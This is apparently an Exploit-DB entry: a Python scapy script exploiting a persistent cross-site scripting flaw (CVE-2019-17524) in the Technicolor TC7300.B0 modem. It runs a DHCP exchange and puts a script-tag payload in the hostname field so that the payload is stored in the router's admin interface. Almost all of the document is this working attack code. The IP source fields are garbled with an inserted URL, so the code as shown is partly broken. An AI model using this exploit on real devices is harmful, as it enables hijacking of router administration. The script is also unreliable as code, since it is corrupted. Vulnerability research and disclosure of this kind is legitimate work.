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# Exploit Title: Technicolor TC7300.B0 - 'hostname' Persistent Cross-Site Scripting # Google Dork: N/A # Date: 2019-11-11 # Exploit Author: Luis Stefan # Vendor Homepage: https://www.technicolor.com/ # Software Link: N/A # Version: TC7300.B0 - STFA.51.20 # Tested on: macOS Mojave and Catalina # CVE : #!/usr/bin/env python3 __author__ = "Luis Stefan" __license__ = "MIT" __version__ = "1.0" __email__ = "luis.ss@protonmail.com" __description__ = """CVE-2019-17524.py: This script is used to exploit a xss vulnerability found in a technicolor device.""" from enum import IntEnum from scapy.all import * import codecs, threading, time # Define your network interface interface = 'en0' # Insert your interface card mac address mac = 'xx:xx:xx:xx:xx:xx' broadcast = 'ff:ff:ff:ff:ff:ff' mac_hxd = codecs.decode(mac.replace(':', ''),'hex') class Bootp(IntEnum): Discover = 1 Offer = 2 Request = 3 Decline = 4 Ack = 5 Nak = 6 Release = 7 def dhcp_discover(): disc_pkt = Ether(src=mac, dst=broadcast) / \ IP(src='https://www.exploit-db.com/exploits/47652/0.0.0.0', dst='255.255.255.255') / \ UDP(dport=67, sport=68) / BOOTP(chaddr=mac_hxd) / \ DHCP(options=[('message-type', 'discover'), 'end']) sendp(disc_pkt, iface=interface) def dhcp_request(pkt): yraddr = pkt['BOOTP'].yraddr # gwaddr == Gateway Ip Address gwaddr = '192.168.0.1' param_req_list = [] hostname = "<script>alert('XSS triggered')</script>" req_pkt = Ether(src=mac, dst=broadcast) / \ IP(src='https://www.exploit-db.com/exploits/47652/0.0.0.0', dst='255.255.255.255') / \ UDP(dport=67, sport=68) / BOOTP(chaddr=mac_hxd) / \ DHCP(options=[('message-type', 'request'), ('server_id', gwaddr), ('requested_addr', yraddr), ('hostname', hostname), 'end']) sendp(req_pkt, iface=interface) def dhcp(pkt): print(pkt.display()) print("#############################################################") if pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Offer: dhcp_request(pkt) elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Ack: print("Server Acknowledged") sys.exit(0) elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Decline: print("Server Declined") sys.exit(0) elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Nak: print("Server Nak") sys.exit(0) def ver_dhcp(): print("Verifying DHCP port traffic..") sniff(iface=interface, prn=dhcp, filter="port 68 and port 67", timeout=20) sys.exit(0) def main(): t1 = threading.Thread(target=ver_dhcp, args=()) t1.setDaemon = True t1.start() time.sleep(2) dhcp_discover() if __name__ == "__main__": main() |
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